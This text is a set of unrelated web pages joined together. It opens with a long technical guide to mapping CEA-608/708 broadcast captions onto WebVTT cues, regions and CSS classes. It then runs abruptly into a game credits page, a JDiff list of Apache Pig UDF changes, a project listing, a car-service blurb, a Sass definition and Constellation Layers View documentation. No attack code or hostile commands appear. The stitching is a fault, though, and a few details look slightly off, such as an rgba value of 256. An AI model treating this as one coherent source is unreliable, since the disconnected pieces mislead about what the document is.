position:x%
Use the following position settings for PAC indent. Note that all WebVTT cues need to be explicitly left aligned for this position setting to be accurate, because WebVTT by default has middle aligned cues.
| CEA-608 PAC indent code | WebVTT cue position value |
| indent 0/column 1 | position:10% |
| indent 4/column 5 | position:20% |
| indent 8/column 9 | position:30% |
| indent 12/column 13 | position:40% |
| indent 16/column 17 | position:50% |
| indent 20/column 21 | position:60% |
| indent 24/column 25 | position:70% |
| indent 28/column 29 | position:80% |
CE-608 Tab Offset commands provide relative positioning based on the current cursor position and move the cursor 1, 2, or 3 columns to the right.
When used at the beginning of a line, they will be mapped to a WebVTT position cue settings. Other uses of tab offsets will either be mapped to independent cues or ignored based on whether they influence the rendering.
The Tab Offset maps to an absolute text position cue setting in WebVTT CEA-608. Multiply the Tab Offset value with 2.5 and add the resulting value to an existing position cue setting value of a cue to achieve the correct offset:
t=tabOffset*2.5+position position:t%
For example, for an existing cue position setting of 20% (column 5), a Tab Offset of 3 will create a cue position setting of 27.5%.
For rollup captions the position setting is set on the cue, too, but since the cue is already positioned by the Region that it belongs it, its position is simply calculated from the tab offset:
t=tabOffset*2.5 position:t%
CEA-708 captions make use of what is called a "Caption Screen", which for WebVTT is the video viewport. CEA-708 defines a grid on the Caption Screen that depends on the dimensions of the video - e.g. it is different for 16:9 video to 4:3 video.
Within the Caption Screen, CEA-708 defines "Caption Windows" through which the caption text is rendered. For WebVTT we map CEA-708 "Caption Windows" to WebVTT Regions. It is also possible to use plain WebVTT cues, but those have limited functionality, e.g. don't allow styling of the Region (e.g. Window background colors or fade in), or position with anchor points and anchor location, or do roll-up, so will not result in a perfect representation of CEA-708 captions. We will not regard this option further here.
In CEA-708 there are at most 8 Caption Windows - in WebVTT we can define an unlimited number of Regions.
This is an example Region definition in WebVTT for a Region with its bottom center anchored in the middle of the screen, 4 lines high and 100% wide:
Region: id=window1 width=100% height=4 regionanchor=50%,100% viewportanchor=50%,50% scroll=up
Note that Regions in WebVTT cannot be moved at this time, so if there is a need to move to a different on-screen location, because a different PAC row number is given, it is best to define another Region for that location and copy the caption text. Its duration will then be split between the two regions. Such a region move happens only if the base row of the PAC of a caption is different from the previous caption's PAC base row. A different PAC indent can be dealt with within the existing region by applying the indent as a position indent to the caption cue as described in the section on "Positioning in CEA-608".
CEA-708 Caption Windows define a priority between the 8 captions windows with lower priority windows overlaying higher priority windows. Priority values are mapped to the WebVTT "layer" attribute of Regions as follows:
| CEA-708 Caption Window Priority | WebVTT Region layer attribute |
| 0 | 7 |
| 1 | 6 |
| 2 | 5 |
| 3 | 4 |
| 4 | 3 |
| 5 | 2 |
| 6 | 1 |
| 7 | 0 |
Note that if two Regions end up being active at the same time (i.e. having cues at the same time) and being in the same "layer" and overlapping on the viewport, the one defined last is on top of the one defined earlier.
CEA-708 Caption Windows are positioned by specifying one of 9 different "Anchor points" covering a 9 field grid of the window. An Anchor Point is anchored to a specific location on the Caption Screen. Anchor points are mapped to the WebVTT "regionanchor" attribute of Regions:
regionanchor:x%,y%
| CEA-708 Caption Window Anchor Point | WebVTT Region regionanchor attribute |
| 0 (top-left corner) | regionanchor:0%,0% |
| 1 (top middle) | regionanchor:50%,0% |
| 2 (top-right corner) | regionanchor:100%,0% |
| 3 (left middle) | regionanchor:0%,50% |
| 4 (middle/center) | regionanchor:50%,50% |
| 5 (right middle) | regionanchor:100%,50% |
| 6 (bottom-left corner) | regionanchor:0%,100% |
| 7 (bottom middle) | regionanchor:50%,100% |
| 8 (bottom-right corner) | regionanchor:100%,100% |
For CEA-708 WebVTT we assume that the grid that is defined on the Caption Screen consists of 100 horizontal cells and 100 vertical cells, i.e. we can position using percentages.
If the CEA-708 Caption Screen grid is not provided as a 100x100 grid, we need to convert the given grid to percentages. For 16:9 video we thus convert the 210 horizontal by 75 vertical cells, and for 4:3 the 160 horizontal by 75 vertical cells to a percentage. We end up with grid locations (x%,y%) in a percentage coordinate system with (0%,0%) at the top left and (100%,100%) on the bottom right.
The grid is used to position the Caption Windows through the "Anchor Location" property. It is given in WebVTT in the "viewportanchor" Region attribute:
viewportanchor:x%,y%
In CEA-708, the size of the Caption Windows is provided through a number of character rows and columns. There is a maximum of 15 rows and a maximum of 32 columns, just like in CEA-608. Similar to CEA-608, these numbers represent the maximum number of rows and columns that a Caption Window that covers the full Caption Screen can provide.
The width of a Caption Window is converted to a WebVTT Region width by multiplying by 2.5 if a display area of 4:3 is used, resulting in a percentage Region width setting:
w=columns*2.5 width:w%
If a display area of 16:9 is used, the column width is defined as 1.9% of the video width, because 16x9 requires 42 columns of characters to be rendered on 80% of the video rendering area’s width.
w=columns*1.9 width:w%
The height of a Caption Window is converted to a WebVTT Region height by multiplying by 5.33, resulting in a percentage Region height setting:
h=rows*5.33 height:h%
The actual height and width of the caption window depends, however, on the actual font size. Thus, the width is calculated by multiplying the number of columns with the character width and the height by multiplying the number of rows with the character height.
The "Lock Rows" and “Lock Columns” Caption Window parameters of CEA-708 when set fix the maximum number of rows and columns of caption text that a window may have. This means that lines that were rendered at the default font size are not changed when the user changes the font size. Thus, when the user changes the font size, the window's size scales to become smaller or larger to accommodate the smaller or bigger space required to render the caption text.
If rows or columns are unlocked, rendering can change the line breaks. This means that if e.g. rows are unlocked, the defined caption window width remains fixed, such that for smaller fonts more words will fit in each line, and for larger fonts less words will fit in. Similarly for unlocked columns. If both are unlocked, the agreement is that the same happens as when both dimensions are locked.
In WebVTT we don't currently have a means to specify row and column locking. We currently only support the concept of unlocked rows and columns, i.e. when the user increases or decreases the font size, the Region will grow accordingly, but it is possible for lines to reflow.
CEA-708 defines that when a caption text line doesn't fit into a Caption Window's width and thus needs a new line break, the line break at the end of the line is removed and replaced with a space character if necessary. The idea is that when the caption text had multiple lines the manually created line breaks created a balanced text layout. Insertion of new line breaks would break that balance and therefore the line breaks have to be removed.
WebVTT supports line wrapping, but does not currently support the removal of line breaks when new line wrapping is necessary.
CEA-708 defines several settings of caption text within a Caption Window. This section explains how to convert them to WebVTT cue settings.
CEA-708 defines several different text justification settings for text within a Caption Window. These settings are translated into WebVTT cue settings, since there is no justification attributes on WebVTT Regions. The relevant cue setting is called "align":
| CEA-708 Caption Window Justification | WebVTT Cue align setting |
| left | align:start |
| right | align:end |
| center | align:middle |
| full | no equivalent in WebVTT - use "middle" instead. |
Note that WebVTT does not have an equivalent for fully justified text. It would be possible to add such a value or to use the CSS text-align:justify directive, but neither is currently supported in WebVTT. Since fully justifying text is not usually recommended for good quality subtitles or captions, there should be no need for this.
CEA-708 defines several different text rendering directions within a Caption Window. These settings are translated into WebVTT cue settings, since there is no direction attributes on WebVTT Regions. The default cue text rendering direction is "horizontal". The relevant cue setting to introduce vertical text is called "vertical". The following explains how the mapping is achieved:
| CEA-708 Caption Window Print Direction | WebVTT Cue text and settings |
| left-to-right | horizontal is the default; no special cue setting |
| right-to-left | horizontal is the default; use UTF-8 characters to change to rtl text |
| top-to-bottom | vertical:rl or vertical:lr |
| bottom-to-top | vertical:rl or vertical:lr; use UTF-8 characters to change directionality |
CEA-708 defines several different scroll directions within a Caption Window. These settings are translated into the WebVTT Region attribute "scroll":
| CEA-708 Caption Window Scroll Direction | WebVTT Region attribute |
| top-to-bottom for horizontal text | scroll:down |
| bottom-to-top for horizontal text | scroll:up |
| left-to-right for vertical text | if vertical:lr, then scroll:down; else scroll:up |
| right-to-left | if vertical:rl, then scroll:down; else scroll:up |
CEA-708 defines a couple of animation effects for when a Window becomes visible/invisible. These effects don't map into WebVTT. It may be possible to eventually provide fade in/out and wipe in/out through CSS but not at this time.
CEA-708 defines different colors, opacity, borders, and border effects for Caption Windows. Some of these effects can be provided through CSS. Flashing backgrounds and drop-shadows are not supported. Note that the default background color in CSS is "transparent".
| CEA-708 Caption Window Properties | WebVTT CSS property |
| clear Window |
::cue-region(name) { background-color: transparent; } |
| translucent Window |
::cue-region(name) { background-color: rgba(0,0,0,0.5); } |
| solid Window |
::cue-region(name) { background-color: rgba(0,0,0,1); }(choose color from color list) |
| raised border for Window |
::cue-region(name) { outline: black ridge 2px; } |
| depressed border for Window |
::cue-region(name) { outline: black inset 2px; } |
| uniform border for Window |
::cue-region(name) { outline: black solid 2px; } |
CEA-708 defines 64 colors based on 4 values of each of R,G and B components. This means we can map a CEA-708 color to a CSS value:
css-color-component(x) = cea708-color-component(x*85), x in {r,g,b}
CEA-708 also defines 8 named colors: black, white, red, green, blue, yellow, magenta, cyan. They map to appropriate CSS colors.
CEA-608 has a maximum of 4 rows of captions, which can be placed anywhere in the safe caption area.
In WebVTT, pop-on captions are mapped to cues. Their start time and end time are determined by the time that the CEA-608 memory is flipped such that the caption text becomes visible/removed. The caption text of the CEA-608 pop-on caption is placed in the cue content. Cue settings such as line and position settings are set as described in the section on "Positioning in CEA-608".
If the rows of text of one CEA-608 caption are to be rendered into vastly different positions on screen, you should subdivide the rows into separate cues that are active for the exact same interval, but have different locations in their cue settings.
Example of a typical WebVTT file with pop-on captions:
WEBVTT Style: @import(cea608.css) ## Kind: captions Language: en-US 00:00:01.373 --> 00:00:02.322 There are two kinds of folks 00:00:02.379 --> 00:00:03.979 who sit around thinking about how to kill people: 00:00:04.313 --> 00:00:06.039 Psychopaths and mystery writers. 00:00:06.277 --> 00:00:07.299 I'm the kind that pays better.
CEA-708 pop-on captions rely on a Caption Window to be defined and mapped to a WebVTT Region as described in the section on "Positioning in CEA-708". Further attributes of the Region are described in section "Caption Text and Region Settings in CEA-708". Pop-on captions are the typical way in which cues in Regions are displayed. Regions are not displayed when there is no text in them.
CEA-608 roll-up caption mode display 2, 3, or 4 rows of captions into which old lines are scrolled as new lines are added below. Scrolling up a line must take no more than 0.433 sec. CEA-708 roll-up captions may have any number of lines.
Both CEA-608 and CEA-708 captions are mapped to WebVTT through definition of a Region. In CEA-708 that Region is defined by the Caption Window. For CEA-608 we define a rollup Region as follows with n being the number of rows:
Region: id=rollup width=80% height=n scroll=up regionanchor=0%,100% viewportanchor=10%,90% start=bottom
The roll-up display mode is translated to WebVTT by providing cues that overlap in time. As a second cue comes on, the first one scrolls up one line and the new one is added below. The translation software will ascertain that the cue intervals are appropriately timed such that at most n rows of captions are shown at one time.
In CEA-608, paint-on captions mean that subsequent data is displayed immediately upon receipt.
Wherever possible, it is preferable to generate simple pop-on cues from paint-on captions. However, where the paint-on captions are a stylistic choice, it is possible to translate them into WebVTT by using time stamps for individual characters or sequences of characters within a cue.
For example:
WEBVTT Style: @import(cea608.css) ## Kind: captions Language: en-US 00:00:00.000 --> 00:00:15.000 T<00:00:00.100>h<00:00:00.200>i<00:00:00.300>s <00:00:00.400>p<00:00:00.500>a<00:00:00.600>i<00:00:00.700>n<00:00:00.800>t<00:00:00.900>s <00:00:01.000>o<00:00:01.100>n<00:00:01.200>e <00:00:01.300>c<00:00:01.400>h<00:00:01.500>a<00:00:01.600>r <00:00:01.700>p<00:00:01.800>e<00:00:01.900>r <00:00:02.000>m<00:00:02.100>s
The default style applied to WebVTT caption cues when converting from CEA-608 and CEA-708 shall be white foreground, black background, monospace font, no text decoration, no font style, weight, or effect, single line and character height and non-outlined text. This state corresponds to the presumed conditions at the beginning of each displayed row.
Most character styling is mapped to WebVTT by providing segments of text with a class markup, which provides the appropriate styling to that text segment. A class markup is a <c> tag with one or more class names that is provided before the beginning of the relevant text segment and ends the text segment with a </c>.
This is an example WebVTT cue that is marked up with a color class:
WEBVTT Style: @import(cea608.css) ## Kind: captions Language: en-US 00:00:00.000 --> 00:00:15.000 A <c.red>red piece of text</c>.
In CEA-708, the concept of a Pen is defined, which governs the font size, font, colors and style of the text within a Window. Pen characteristics remain consistent within a Window - and therefore within a WebVTT Region - unless specifically changed.
CEA-608 and CEA-708 both define a default ("intended") font size relative to which columns and lines are defined and positioning on screen is identified (see section on "Positioning in CEA-608").
Both CEA-608 and CEA-708 expect that the user is able to change the size of the font during playback. CEA-708 for example suggests three different font sizes (small, standard and large) per available font. This user override is player-specific and not encoded into WebVTT.
In CEA-608, there are captions rendered from 3 different sets of character codes. In 708 the printable characters in use are ASCII with the substitution of the music note character for the ASCII DEL character, LATIN-1, and an extended character set.
WebVTT uses only unicode code points, rendered as UTF-8 characters. All of the CEA-608 and CEA-708 character codes - standard and extended character codes - are mapped to unicode.
Single-byte codes 0x20-0x7f map to the same Unicode code point, except for:
| 0x2a | U+00E1 |
| 0x5c | U+00E9 |
| 0x5e | U+00ED |
| 0x5f | U+00F3 |
| 0x60 | U+00FA |
| 0x7b | U+00E7 |
| 0x7c | U+00F7 |
| 0x7d | U+00D1 |
| 0x7e | U+00F1 |
| 0x7f | U+2588 |
Two-byte special characters where the second byte maps as follows:
| 0x30 | U+00AE |
| 0x31 | U+00B0 |
| 0x32 | U+00BD |
| 0x33 | U+00BF |
| 0x34 | U+2122 |
| 0x35 | U+00A2 |
| 0x36 | U+00A3 |
| 0x37 | U+266A |
| 0x38 | U+00E0 |
| 0x39 | transparent space |
| 0x3a | U+00E8 |
| 0x3b | U+00E2 |
| 0x3c | U+00EA |
| 0x3d | U+00EE |
| 0x3e | U+00F4 |
| 0x3f | U+00FB |
When multiple characters on-screen talk simultaneously, transparent space is sometimes used to position the text for each character in the same line. In these cases, use the transparent space as a cue break, and calculate the positioning for the next part in a new cue similar to the recommendation for converting mid-row PACs.
The foreground text can be rendered in different colors. These colors are defined for CEA-608 - use these classes in WebVTT to provide them:
| white | .white |
| green | .green |
| blue | .blue |
| cyan | .cyan |
| red | .red |
| yellow | .yellow |
| magenta | .magenta |
CEA-708 also knows "black" as a named color, which is the default text color in WebVTT. It would similarly map to a ".black" class. For other CEA-708 text color mappings see the section about "Positioning in CEA-708", subsection on "Window Colors and Borders". All colors mentioned there can be used for text color.
CEA-708 further has the following three transparency states for text:
| transparent | .transparent |
| semi-transparent | .semi-transparent |
| opaque | .opaque |
Italics and underline exist in WebVTT as markup and are thus directly converted from CEA-608 or CEA-708 pen style.
For example:
WEBVTT Style: @import(cea608.css) ## Kind: captions Language: en-US 00:00:00.000 --> 00:00:15.000 Nice <u>underlined</u> and <i>italicized</i> text.
The .blink class provides the appropriate styling in WebVTT.
For example a blinking, red and italics text fragment is convert to the following:
WEBVTT Style: @import(cea608.css) ## Kind: captions Language: en-US 00:00:00.000 --> 00:00:15.000 A <c.red.italics.blink>flashing piece of text</c>.
In CEA-708 it is possible to change the background color of the caption text characters.
Use one of the following classes to provide the setting for a section of caption text:
| background white | .bg_white |
| background green | .bg_green |
| background blue | .bg_blue |
| background cyan | .bg_cyan |
| background red | .bg_red |
| background yellow | .bg_yellow |
| background magenta | .bg_magenta |
| background black | .bg_black |
There are further the following three transparency states:
| background transparent | .bg_transparent |
| background semi-transparent | .bg_semi-transparent |
| background opaque | .bg_opaque |
CEA-708 defines the following fonts, which are mapped to the following WebVTT classes:
| 0 - default (undefined) | default WebVTT font, i.e. 'sans-serif' |
| 1 - monospaced with serifs | .mono_serif |
| 2 - Proportionally spaced with serifs | .prop_serif |
| 3 - Monospaced without serifs | .mono_sans |
| 4 - Proportionally spaced without serifs | .prop_sans |
| 5 - Casual font type | .casual |
| 6 - Cursive font type | .cursive |
| 7 - Small capital | .small_caps |
For example:
WEBVTT Style: @import(cea608.css) ## Kind: captions Language: en-US 00:00:00.000 --> 00:00:15.000 A <c.mono_serif>different font</c> text.
In CEA-708 it is possible to offset caption text characters from the baseline. WebVTT doesn't currently support the CSS for such offsetting, which would make use of the CSS vertical-align property.
The remainder of the CEA-708 advanced features can be mapped easily using HTML and CSS. However, the styling language of WebVTT is restricted and consists only of the following:
| CEA-708 Feature | WebVTT/<track> example |
|
Further character attribute changes: Font size change (small, standard, large). Text style changes (font change, italicised, underlined). Text shadow. Depressed, raised edges. Depressed is typically also called "engraved" and raised is called "embossed". |
For HTML pages, these may have attributes in CSS. For example:<style> ::cue(.small) { font-size: 70%; } ::cue(.standard) { font-size: 100% } ::cue(.large) { font-size: 130% } ::cue(.italics) { font-style: italic; } ::cue(.underlined) { text-decoration: underline; } ::cue(.textshadow) { text-shadow: 1px 1px 2px #000; } ::cue(.raised) { text-shadow: -1px 0 0 silver, 0 -1px 0 silver, 0 1px 0 #111111, 1px 0 0 #111111; color: gray; } ::cue(.depressed) { text-shadow: 1px 0 0 silver, 0 1px 0 silver, 0 -1px 0 #111111, -1px 0 0 #111111; color: gray; } </style>For typical 708 needs, classes will be defined that map the same features. |
|
Window effects: Display Effects (SNAP, FADE, WIPE, x), Effect Direction (L2R, R2L, T2B, B2T), Effect Speed (.5-sec units for WIPE and FADE ops) Window Borders: Border Type (none, raised, etc), Border Color |
Each of the defined effects can be recreated in modern CSS3 transitions and transformations in Web browsers. Thus, for typical 708 needs, classes will be defined that map the same feature. |
| Text Type tag (Dialog, Source, Voice, ...) |
WebVTT has the <v> voice spans which allow association of a text type name with a span of text. For example to associate a speaker with a caption text segment, use the v tag: WEBVTT 00:00:00.000 - 00:00:15.000 <v.Mary>Good morning and welcome to our company. |
The following HTML snippet is an example of how a WebVTT CEA-608 file may be included in a Web browser in relation to a video:
<video controls> <source src=”video.mp4” type=”video/mp4”> <source src=”video.webm” type=”video/webm”> <track id=”cc1” label=”channel1” kind=”captions” srclang=”en” src=”channel1.vtt”> <track id=”cc2” label=”channel2” kind=”captions” srclang=”de” src=”channel2.vtt”> <track id=”cc3” label=”channel3” kind=”captions” srclang=”fr” src=”channel3.vtt”> <track id=”cc4” label=”channel4” kind=”captions” srclang=”sp” src=”channel4.vtt”> </video>
CEA-608 further suggests use of caption tracks formatted for "easy reader" (3rd grade level for language learners). Such an "easy reader" track is marked up in HTML by use of the @label attribute. It can also be internationalized. For example:
<video controls> <source src=”video.mp4” type=”video/mp4”> <source src=”video.webm” type=”video/webm”> <track id=”cc1” label=”easy reader” kind=”captions” srclang=”en” src=”easy_reader_en.vtt”> <track id=”cc2” label=”einfacher Leser” kind=”captions” srclang=”de” src=”easy_reader_de.vtt”> </video>
The following CSS style sheet is provided for rendering of WebVTT CEA-608 files in Web browsers.
cea608.css /* default values */ ::cue { line-height: 5.33vh; font-size: 4.1vh; font-family: monospace; font-style: normal; font-weight: normal; background-color: black; color: white; } /* special cue parts */ ::cue(c.transparent) { color: transparent; } /* need to set this before changing color, otherwise the color is lost */ ::cue(c.semi-transparent) { color: rgba(0, 0, 0, 0.5); } /* need to set this before changing color, otherwise the color is lost */ ::cue(c.opaque) { color: rgba(0, 0, 0, 1); } ::cue(c.blink) { text-decoration: blink; } ::cue(c.white) { color: white; } ::cue(c.red) { color: red; } ::cue(c.green) { color: lime; } ::cue(c.blue) { color: blue; } ::cue(c.cyan) { color: cyan; } ::cue(c.yellow) { color: yellow; } ::cue(c.magenta) { color: magenta; } ::cue(c.bg_transparent) { background-color: transparent; } /* need to set this before changing color, otherwise the color is lost */ ::cue(c.bg_semi-transparent) { background-color: rgba(0, 0, 0, 0.5); } /* need to set this before changing color, otherwise the color is lost */ ::cue(c.bg_opaque) { background-color: rgba(0, 0, 0, 1); } ::cue(c.bg_white) { background-color: white; } ::cue(c.bg_green) { background-color: lime; } ::cue(c.bg_blue) { background-color: blue; } ::cue(c.bg_cyan) { background-color: cyan; } ::cue(c.bg_red) { background-color: red; } ::cue(c.bg_yellow) { background-color: yellow; } ::cue(c.bg_magenta) { background-color: magenta; } ::cue(c.bg_black) { background-color: black; } /* Examples of combined colors */ ::cue(c.bg_white.bg_semi-transparent) { background-color: rgba(255, 255, 255, 0.5); } ::cue(c.bg_green.bg_semi-transparent) { background-color: rgba(0, 256, 0, 0.5); } ::cue(c.bg_blue.bg_semi-transparent) { background-color: rgba(0, 0, 255, 0.5); } ::cue(c.bg_cyan.bg_semi-transparent) { background-color: rgba(0, 255, 255, 0.5); } ::cue(c.bg_red.bg_semi-transparent) { background-color: rgba(255, 0, 0, 0.5); } ::cue(c.bg_yellow.bg_semi-transparent) { background-color: rgba(255, 255, 0, 0.5); } ::cue(c.bg_magenta.bg_semi-transparent) { background-color: rgba(255, 0, 255, 0.5); } ::cue(c.bg_black.bg_semi-transparent) { background-color: rgba(0, 0, 0, 0.5); }
Additionally, this CSS style sheet is provided for CEA-708 captions:
cea708.css ::cue(c.mono_serif) { font-family:'Courier, monospace, serif'; } ::cue(c.prop_serif) { font-family:'Times New Roman, serif'; } ::cue(c.mono_sans) { font-family:'Helvetica, monospace, sans-serif'; } ::cue(c.prop_sans) { font-family:'Arial, Swiss, sans-serif'; } ::cue(c.casual) { font-family:'Dom, Impress, casual'; } ::cue(c.cursive) { font-family:'Coronet, Marigold, cursive'; } ::cue(c.small_caps) { font-family:'Engravers Gothic, monospace, sans-serif'; font-variant:small-caps; }
Thanks go to:


About
This game is made using HTML5 Canvas 2D.
Music By:
Steven O'Brien
A Google Chrome App for the game
Chrome App
This game is open source and you can find the code at
GitHub
.
This game is developed by
Ahmed Alaa
.


|
Generated by JDiff |
|||||||
| PREV PACKAGE NEXT PACKAGE FRAMES NO FRAMES | DETAIL: REMOVED | ADDED | CHANGED |
| Added Classes | |
|
|
|
|
|
A load function and store function for ORC file. |
|
|
Formatted strings using java.util.Formatter See http://docs.oracle.com/javase/7/docs/api/java/util/Formatter.html ex: SPRINTF('%2$10s %1$-17s %2$ 10d %2$8x %3$10.3f %4$1TFT% |
|
|
Wrapper around Java's String.split input tuple: first column is assumed to have a string to split; the optional second column is assumed to have the delimiter or regex to split on; if not provided it's assumed to be '\s' (space) the optional third column may provide a limit to the number of results. If limit is not provided 0 is assumed as per Java's split(). |
|
|
UniqueID generates a unique id for each records in the job. |
| Changed Classes | |
|
|
ABS implements a binding to the Java function Math.abs(double) for computing the absolute value of the argument. |
|
|
Find the number of fields in a tuple. |
|
|
AddDuration returns the result of a DateTime object plus a Duration object
|
|
|
|
|
|
Pig UDF for reading and writing Avro data. |
|
|
This method should never be used directly use SIZE |
|
|
Flatten a bag into a string. |
|
|
Flatten a bag into a tuple. |
|
|
base class for math udfs |
|
|
|
|
|
|
|
|
Generates the concatenation of two or more arguments. |
|
|
This method should never be used directly use SIZE |
|
|
Produces a DataBag with all combinations of the argument tuple members as in a data cube. |
|
|
|
|
|
DIFF takes two bags as arguments and compares them. |
|
|
DaysBetween returns the number of days between two DateTime objects
|
|
|
Find the distinct set of tuples in a bag. |
|
|
Given a single data atom it Returns the closest long to the argument. |
|
|
ROUND_TO safely rounds a number to a given precision by using an intermediate BigDecimal. |
|
|
Pig UDF to test input tuple.get(0) against tuple.get(1) to determine if the first argument ends with the string in the second. |
|
|
Compares two Strings ignoring case considerations. |
|
|
|
|
|
ROUND implements a binding to the Java function Math.round(float) Given a single data atom it Returns the closest long to the argument. |
|
|
ROUND_TO safely rounds a number to a given precision by using an intermediate BigDecimal. |
|
|
GetDay extracts the day of a month from a DateTime object. |
|
|
GetHour extracts the hour of a day from a DateTime object. |
|
|
GetSecond extracts the millisecond of a second from a DateTime object. |
|
|
GetMinute extracts the minute of an hour from a DateTime object. |
|
|
GetMonth extracts the month of a year from a DateTime object. |
|
|
GetSecond extracts the second of a minute from a DateTime object. |
|
|
GetMonth extracts the week of a week year from a DateTime object. |
|
|
GetMonth extracts the week year from a DateTime object. |
|
|
GetYear extracts the year from a DateTime object. |
|
|
HoursBetween returns the number of hours between two DateTime objects
|
|
|
INDEXOF implements eval function to search for a string Example: A = load 'mydata' as (name); B = foreach A generate INDEXOF(name " "); |
|
|
This UDF accepts a Map as input with values of any primitive data type. |
|
|
ABS implements a binding to the Java function Math.abs(int) for computing the absolute value of the argument. |
|
|
Determine whether a bag or map is empty. |
|
|
A loader for data stored using JsonStorage This is not a generic JSON loader. |
|
|
A JSON Pig store function. |
|
|
This UDF takes a Map and returns a Bag containing the keyset. |
|
|
string.INSTR implements eval function to search for the last occurrence of a string Returns null on error Example: A = load 'mydata' as (name); B = foreach A generate LASTINDEXOF(name " "); |
|
|
lower-case the first character of a string |
|
|
LOWER implements eval function to convert a string to lower case Example: A = load 'mydata' as (name); B = foreach A generate LOWER(name); |
|
|
Returns a string with only leading whitespace omitted. |
|
|
|
|
|
This method should never be used directly use SIZE |
|
|
MilliSecondsBetween returns the number of milliseconds between two DateTime objects
|
|
|
MinutesBetween returns the number of minutes between two DateTime objects
|
|
|
MonthsBetween returns the number of months between two DateTime objects
|
|
|
This is a UDF which allows the user to specify a string prefix and then filter for the columns in a relation that begin with that prefix. |
|
|
|
|
|
|
|
|
REPLACE implements eval function to replace part of a string. |
|
|
ROUND implements a binding to the Java function Math.round(double) Given a single data atom it Returns the closest long to the argument. |
|
|
ROUND_TO safely rounds a number to a given precision by using an intermediate BigDecimal. |
|
|
Returns a string with only tailing whitespace omitted. |
|
|
Produces a DataBag with hierarchy of values (from the most detailed level of aggregation to most general level of aggregation) of the specified dimensions For example (a b c) will produce the following bag: |
|
|
Generates the size of the argument passed to it. |
|
|
Pig UDF to test input tuple.get(0) against tuple.get(1) to determine if the first argument starts with the string in the second. |
|
|
Wrapper around Java's String.split input tuple: first column is assumed to have a string to split; the optional second column is assumed to have the delimiter or regex to split on; if not provided it's assumed to be '\s' (space) the optional third column may provide a limit to the number of results. If limit is not provided 0 is assumed as per Java's split(). |
|
|
SUBSTRING implements eval function to get a part of a string. |
|
|
SUBTRACT takes two bags as arguments and returns a new bag composed of tuples of first bag not in the second bag. If null bag arguments are replaced by empty bags. |
|
|
SecondsBetween returns the number of seconds between two DateTime objects
|
|
|
This method should never be used directly use CONCAT |
|
|
This method should never be used directly use SIZE |
|
|
SubtractDuration returns the result of a DateTime object plus a Duration object
|
|
|
This class takes a list of items and puts them into a bag T = foreach U generate TOBAG($0 $1 $2); It's like saying this: T = foreach U generate {($0) ($1) ($2)} All arguments that are not of tuple type are inserted into a tuple before being added to the bag. |
|
|
Given a chararray as an argument this method will split the chararray and return a bag with a tuple for each chararray that results from the split. |
|
|
This class makes a map out of the parameters passed to it T = foreach U generate TOMAP($0 $1 $2 $3); It generates a map $0->1 $2->$3 |
|
|
Top UDF accepts a bag of tuples and returns top-n tuples depending upon the tuple field value of type long. |
|
|
|
|
|
|
|
|
|
|
|
This class makes a tuple out of the parameter T = foreach U generate TOTUPLE($0 $1 $2); It generates a tuple containing $0 $1 and $2 |
|
|
Returns a string with leading and trailing whitespace omitted. |
|
|
ToDate converts the ISO or the customized string or the Unix timestamp to the DateTime object. |
|
|
This method should never be used directly use ToDate |
|
|
This method should never be used directly use ToDate |
|
|
This method should never be used directly use ToDate |
|
|
ToMilliSeconds converts the DateTime to the number of milliseconds that have passed since January 1 1970 00:00:00.000 GMT. |
|
|
ToString converts the DateTime object of the ISO or the customized string. |
|
|
ToUnixTime converts the DateTime to the Unix Time Long
|
|
|
This method should never be used directly use SIZE |
|
|
upper-case the first character of a string |
|
|
UPPER implements eval function to convert a string to upper case Example: A = load 'mydata' as (name); B = foreach A generate UPPER(name); |
|
|
This UDF takes a Map and returns a Bag containing the values from map. |
|
|
This UDF takes a Map and returns a Tuple containing the value set. |
|
|
WeeksBetween returns the number of weeks between two DateTime objects
|
|
|
YearsBetween returns the number of years between two DateTime objects
|
|
||||||||
| PREV PACKAGE NEXT PACKAGE FRAMES NO FRAMES |


| Project Name | Description | Tags |
|---|---|---|
| Brutalist CSS Framework | Tried of pretty CSS? Let's make a brutalist theme for stark websites to freak people out! | Brutalism CSS something-different |
| Chocolate Flavored Toothpaste | Finally... you can brush with your favorite flavor! | dental |
| Team-Finding Site | Need amazing coders to build a next generation team finding site. Only the pros need apply! | React JavaScript Tech |
| Solar Powered Saw Mill | Building a state-of-the-art saw mill powered completely by the sun. Need a small team of builders to complete it. | Ecological Solar Lumber |


We service oil changes on all makes and models. Also varying in a wide variety of types of oil changes, ex: synthetic.
We do all kind of regular maintenance work on your car and as well as some custom work which we can talk about in further detail.
We can service brake changes as well.
We can also work on turbo/charger fixes and upgrades.
Lastly, we are able to do upgrades and maintenance work on your suspension.


What is Sass
Sass is a CSS preprocessor program that can be used, in conjunction with a compiler, to generate CSS for your web pages. As the complexity and/or size of a website grows, the more likely it can benefit from the use of Sass to generate CSS.


| Constellation Action | Keyboard Shortcut | User Action | Menu Icon |
|---|---|---|---|
| Open Layers View | Ctrl + Shift + L | Experimental -> Views -> Layers View |
|
| Add New Layer | Ctrl + Alt + L | Click "Add New Layer" | N/A |
| Deselect All Layers | Ctrl + Alt + D | Click "Deselect All Layers" | N/A |
| Toggle On/Off Layer | Ctrl + Alt + x (x is layer number) | Toggle Visibility Checkbox | N/A |
The Layers View holds a collection of Layers. Each Layer can represent a static set of elements, or a dynamically
calculated set of elements which match a query criteria. The query structure is based on the expressions framework.
Each layer has a visibility checkbox which determines if that layer is toggled. All elements are on the base layer 0.
When one or more check boxes are selected, only the elements that are members of those layers are visibly displayed.
All other elements will have their "visibility" attribute value toggled to 0.0 (invisible).
Arrangements on graphs with a visual schema will be ran on the base layer 0.
The two main ways to create and use layers are through the Layers View window and through the use of shortcut keys (see table at the top of the page for shortcut details). The maximum amount of layers you can create is 64.
When a single layer is toggled on, that layer will be displayed on the graph. When multiple manual layers are selected, it will display everything on layer x, as well as everything on layer y (i.e. the union of all selected layers). Combining both query and manual layers will produce undefined results and should not be used when accuracy of results is needed.
There are two main layer types within the Layers View. The differentiating factor of the two being the way elements are chosen to be displayed.
A manual layer is a static layer only containing elements added via right click context menu (see above image) or manually set layer_mask Attribute.
A query layer is a dynamic layer that shows the elements represented by the specified Vertex and Transaction queries. Query layers are dynamically recalculated upon changes to those attributes being queried. This is to ensure the accuracy of the shown layer. e.g. Layer 1 has a vertex query described as Label == 'Vertex #0'. This will show the vertex with that label. If you then change Vertex #0's label to something like 'V#0', the query will note the change and recalculate for the whole graph.
NOTE: Layers View does not allow for the use of the assignment operator = or keyword assign.
Click here for more information on the structure of the expression framework.


What I'm Reading | 2017-10-01 - 2017-10-07
